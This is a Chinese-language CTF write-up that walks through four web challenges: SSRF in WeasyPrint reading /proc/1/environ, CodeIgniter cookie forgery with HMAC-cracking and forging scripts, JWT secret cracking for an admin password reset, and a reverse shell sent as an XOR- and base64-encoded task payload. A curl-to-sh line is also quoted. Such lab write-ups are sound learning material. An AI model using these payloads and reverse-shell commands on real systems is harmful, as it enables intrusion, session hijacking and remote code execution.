NSSRound20-web-wp By.Starven

发布于 2024-03-31  24 次阅读


INFO

时间:2024-03-30 13:30 - 2024-03-30 17:30

image.png

真亦假,假亦真

考点

  • java伪造php一句话木马,实则信息泄露一扫就出

分析

image.png
image.png

flag在/flag下面

image.png

flag

NSS{Checkin_h4v3_4_g00D_tINNe!}

CSDN_To_PDF V1.2

reference

https://zone.huoxian.cn/d/550-pdfhtmlxss-ssrf
https://blog.csdn.net/Jayjay___/article/details/137176943

考点

  • python WeasyPrint 的漏洞

漏洞导致原因:

1、因为pdf一般是后端的组件,有的开发可能配置成  
wkhtmltopdf /tmp/html123.htm /uploads/pdf.pdf ,那就可直接利用file协议进行利用##  
2、 同时pdf组件由于自身的代码问题或者调用的内置浏览器存在问题导致漏洞。


这题我们就通过由于wkhtmltopdf /tmp/html123.htm /uploads/pdf.pdf导致的ssrf从而实现任意文件读取

题目

image.png

分析

开题如下

image.png

经过尝试csdn的url确实可以将其内容转换为pdf

但实则上只需要有关键词blog.csdn.net即可

后端是python的框架,出网,因此监听,ua头发现确实是WeasyPrint

image.png

url必须包含blog.csdn.net

会过滤替换字符串html

文件夹名字可以是blog.csdn.net

因此自己vps建一个叫blog.csdn.net的文件夹即可

首先漏洞探测一下

image.png
http://114.132.250.144/blog.csdn.net/1.hthtmlml
image.png

然后获取flag

image.png
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">  
    </head>
    <body>
        <link rel="attachment" href="file:///proc/1/environ">
    </body>
</html>
image.png

flag

NSSCTF{b91565bd-17cf-4cbd-bc35-c0beaf804cda}

baby-Codeigniter

考点

nt题

题目

是个零解题

这个题懒得喷,纯黑盒让做,没源码无法代审,甚至还是一个十年前的漏洞

image.png

分析

CodeIgniter是一款使用PHP语言编写的开源Web框架。

弱密码admin/123456登陆成功

image.png

但是并没有上传权限

image.png

登录成功之后,返回给我们了 cookie,而非 PHPSESSID,验证信息存储在了客户端,而非服务端,就导致我们可以篡改

image.png

整理如下:

{
"session_id":"8c7f04a765e5dae9b23c2e348b84fb06",
"ip_address":"39.144.137.168",
"user_agent":"Mozilla\/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:124.0)+Gecko\/20100101+Firefox\/124.0",
"last_activity":1711862750,"user_data":"",
"username":"admin","password":"123456",
"is_logged_in":true,
"superadmin":false
}

接下来就需要关注这里

  "superadmin":false

然后伪造cookie即可,出题人给的爆key的poc如下

import hmac
import urllib.parse
import hashlib
import sys
import time

def EncryCookie(cookie,secret):
    cookie = urllib.parse.unquote_plus(cookie)
    cookielen=len(cookie)-40
    cookie = cookie[:cookielen].replace('"superadmin";b:0;}','"superadmin";b:1;}')
    hmacstr=hmac.new(secret.encode("utf-8"),cookie.encode("utf-8"),hashlib.sha1).hexdigest()
    return urllib.parse.quote_plus(cookie+hmacstr)


def CrackSecret(cookie,secret):
    cookie = urllib.parse.unquote_plus(cookie)
    cookielen=len(cookie)-40
    hmac_check = cookie[cookielen:]
    cookie = cookie[:cookielen]
    hmacstr=hmac.new(secret.encode("utf-8"),cookie.encode("utf-8"),hashlib.sha1).hexdigest()
    return hmac_check == hmacstr

if __name__ == "__main__":
    cookie = sys.argv[1]
    secrets = []
    with open("secret.txt") as f:
        secrets = f.readlines()
    print("开始爆破:")
    starttime=time.time()
    for secret in secrets:
        secret=secret.strip("\n")
        result  = CrackSecret(cookie,secret)
        if result == True:
            print("[+]Secret:"+secret)
            encrycookie=EncryCookie(cookie,secret)
            print(encrycookie)
            endtime=time.time()
            print("耗时:"+str(endtime-starttime))
            exit(0)
        else:
            print("[-]Secret:"+secret)

伪造的poc如下

<?php  
#$sessid = '';  
/*while (strlen($sessid) < 32)  
{  
    $sessid .= mt_rand(0, mt_getrandmax());  
}*/  
$encryption_key="123456";  
$data = array(
    'session_id' => '8c7f04a765e5dae9b23c2e348b84fb06',
    'ip_address' => '39.144.137.168',
    'user_agent' => 'Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:124.0)+Gecko/20100101+Firefox/124.0',
    'last_activity' => 1711862750,
    'user_data' => '',
    'username' => 'admin',
    'password' => '123456',
    'is_logged_in' => true,
    'superadmin' => false
);  
  
$cookie_data = serialize($data);  
$cookie_data .= hash_hmac('sha1',$cookie_data,$encryption_key);  
echo urlencode($cookie_data);  
?>

然后又去找一个密码字典当一个secret.txt

疑似有点问题没出

组合拳!

考点

  • 数据请求包分析的能力
  • jwt伪造
  • js代码逻辑审计

题目

也是零解题

image.png

分析

开题进来

image.png

注册然后登陆说权限不够,只有admin才能进去

路径扫描存在两个路由.well-known/security.txtREADME.md

image.png
image.png

得到站点管理员邮箱

Administrator@163.com

可以重置密码

image.png

然后用重置密码的jwt进行伪造

image.png
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoic3RhcnZlbmxAcXEuY29tIiwiZW1haWwiOiJzdGFydmVubEBxcS5jb20iLCJ0eXBlIjozfQ.QjUSgDWnO_e5sOJvIoGQwn1VVOXpmbJlYHMMbFLDuxo
{
  "name": "starvenl@qq.com",
  "email": "starvenl@qq.com",
  "type": 3
}

尝试jwt爆破密钥

image.png

然后伪造得到

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6IkFkbWluaXN0cmF0b3JAMTYzLmNvbSIsInR5cGUiOjN9.lsGpCg_mRYXaThTAH36Xsjpq4S4FA5WLogCHHo5ZZYY

然后访问xxx/reset_token?email=Administrator@163.com&token=new_jwt

带上新的jwt就可以重置指定邮箱用户的密码

然后登录进入后台

image.png

这里的base64解密是

_import_('os').system('curl https://your-shell.com/yourip:1337 |sh')

更新任务时间不可控,但是当请求更新任务的时候观察一下f12-network

发现总是会请求一个getKey

image.png
image.png

可以发现有keycode

然后在js文件全局搜索这个关键词

image.png
image.png

这里判断了 keycode 是否为字符串,是的话就跳转到 case 11 分支

然后在分支11打断点,再次请求更新任务

发现成功断点

image.png

这里的加密逻辑大概就是

image.png

首先对异或对取值对象为o,也就是前面说的keycode

然后base64加密

最后的taskcode还有一层base64加密

updatetask路由存在最终加密的encdata

image.png
1xCB8eoI3sWmqHKF35iBwEaW16Aa2ez6ohqNxLr51VmA86oPx86FmyT0vqTZyGq/49Ak1ZqmhRLFsqmL2leiqagA1Ju4rBfpjqLwmViXoqkV2P37/DPSkbf8xneP3eMA2syKgz/1hKuOjh7X5PAO2Ij49WaLzfCD0Q==
image.png

依次反过来解密

确实验证了加密逻辑猜想是正确的

下面开始编写payload

  1. 先将反弹shell指令base64编码
__import__('os').system('bash -c  "bash -i >& /dev/tcp/114.132.250.144/8080 0>&1"')

//base64后
X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2Jhc2ggLWMgICJiYXNoIC1pID4mIC9kZXYvdGNwLzExNC4xMzIuMjUwLjE0NC84MDgwIDA+JjEiJyk=
  1. 将编码后的数据放入 json 数据中,并修改原来的 time
{"taskcode":"X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2Jhc2ggLWMgICJiYXNoIC1pID4mIC9kZXYvdGNwLzExNC4xMzIuMjUwLjE0NC84MDgwIDA+JjEiJyk=","time":1}
  1. 将整个数据进行异或加密并再次用 base64 进行编码得到我们的encData,并放入最后的 json 中
1xCB8eoI3sWmqHKF35iClUKXyNsV3sSQqwjGmq7Rn3+b28pWx8+ag2DlqvDc5gC/+PpR2s2Omh3YtIP5xWut3vYq/puyhBSLkInwlVmvyMAV2e2MuhzFuLj97waN3eMqyOeomCfzl4WD4nHNpNQn2t2LiRGUt6r2xXiM+6RBkYi2pD3a3/qC0Q==
{"encData":"1xCB8eoI3sWmqHKF35iClUKXyNsV3sSQqwjGmq7Rn3+b28pWx8+ag2DlqvDc5gC/+PpR2s2Omh3YtIP5xWut3vYq/puyhBSLkInwlVmvyMAV2e2MuhzFuLj97waN3eMqyOeomCfzl4WD4nHNpNQn2t2LiRGUt6r2xXiM+6RBkYi2pD3a3/qC0Q==","timestamp":1711874487449}

然后去updateTask路由发包,劫持原数据,发我们的exp

image.png
image.png
image.png

flag

NSSCTF{1266024c-1cd6-460a-a9fd-564d08240415}

大一在读菜鸡ctfer的成长记录